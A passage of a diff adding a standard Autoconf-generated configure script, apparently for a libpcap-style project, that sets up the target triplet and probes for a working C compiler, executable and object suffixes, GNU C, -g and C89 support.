$ECHO_C" >&6 +else + if test "x$target_alias" = x; then + ac_cv_target=$ac_cv_host +else + ac_cv_target=`$SHELL "$ac_aux_dir/config.sub" $target_alias` || + { { echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $target_alias failed" >&5 +echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $target_alias failed" >&2;} + { (exit 1); exit 1; }; } +fi + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_target" >&5 +echo "${ECHO_T}$ac_cv_target" >&6; } +case $ac_cv_target in +*-*-*) ;; +*) { { echo "$as_me:$LINENO: error: invalid value of canonical target" >&5 +echo "$as_me: error: invalid value of canonical target" >&2;} + { (exit 1); exit 1; }; };; +esac +target=$ac_cv_target +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_target +shift +target_cpu=$1 +target_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +target_os=$* +IFS=$ac_save_IFS +case $target_os in *\ *) target_os=`echo "$target_os" | sed 's/ /-/g'`;; esac + + +# The aliases save the names the user supplied, while $host etc. +# will get canonicalized. +test -n "$target_alias" && + test "$program_prefix$program_suffix$program_transform_name" = \ + NONENONEs,x,x, && + program_prefix=${target_alias}- + +umask 002 + +if test -z "$PWD" ; then + PWD=`pwd` +fi + + + + + + +# Check whether --with-gcc was given. +if test "${with_gcc+set}" = set; then + withval=$with_gcc; +fi + + V_CCOPT="-O" + V_INCLS="" + if test "${srcdir}" != "." ; then + V_INCLS="-I\$\(srcdir\)" + fi + if test "${CFLAGS+set}" = set; then + LBL_CFLAGS="$CFLAGS" + fi + if test -z "$CC" ; then + case "$target_os" in + + bsdi*) + # Extract the first word of "shlicc2", so it can be a program name with args. +set dummy shlicc2; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_SHLICC2+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$SHLICC2"; then + ac_cv_prog_SHLICC2="$SHLICC2" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_SHLICC2="yes" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + test -z "$ac_cv_prog_SHLICC2" && ac_cv_prog_SHLICC2="no" +fi +fi +SHLICC2=$ac_cv_prog_SHLICC2 +if test -n "$SHLICC2"; then + { echo "$as_me:$LINENO: result: $SHLICC2" >&5 +echo "${ECHO_T}$SHLICC2" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + if test $SHLICC2 = yes ; then + CC=shlicc2 + export CC + fi + ;; + esac + fi + if test -z "$CC" -a "$with_gcc" = no ; then + CC=cc + export CC + fi + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 +echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6; } +ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` +# +# List of possible output files, starting from the most likely. +# The algorithm is not robust to junk in `.', hence go to wildcards (a.*) +# only as a last resort. b.out is created by i960 compilers. +ac_files='a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out' +# +# The IRIX 6 linker writes into existing files which may not be +# executable, retaining their permissions. Remove them first so a +# subsequent execution test works. +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + esac +done +rm -f $ac_rmfiles + +if { (ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. +# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else + ac_file='' +fi + +{ echo "$as_me:$LINENO: result: $ac_file" >&5 +echo "${ECHO_T}$ac_file" >&6; } +if test -z "$ac_file"; then + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: C compiler cannot create executables +See \`config.log' for more details." >&5 +echo "$as_me: error: C compiler cannot create executables +See \`config.log' for more details." >&2;} + { (exit 77); exit 77; }; } +fi + +ac_exeext=$ac_cv_exeext + +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether the C compiler works" >&5 +echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6; } +# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 +# If not cross compiling, check that we can run a simple program. +if test "$cross_compiling" != yes; then + if { ac_try='./$ac_file' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { echo "$as_me:$LINENO: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + fi + fi +fi +{ echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + +rm -f a.out a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 +echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: result: $cross_compiling" >&5 +echo "${ECHO_T}$cross_compiling" >&6; } + +{ echo "$as_me:$LINENO: checking for suffix of executables" >&5 +echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6; } +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else + { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest$ac_cv_exeext +{ echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 +echo "${ECHO_T}$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +{ echo "$as_me:$LINENO: checking for suffix of object files" >&5 +echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6; } +if test "${ac_cv_objext+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 +echo "${ECHO_T}$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6; } +if test "${ac_cv_c_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6; } +GCC=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ echo "$as_me:$LINENO: checking for $CC option to accept ISO C89" >&5 +echo $ECHO_N "checking for $CC option to accept ISO C89... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_c89+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} 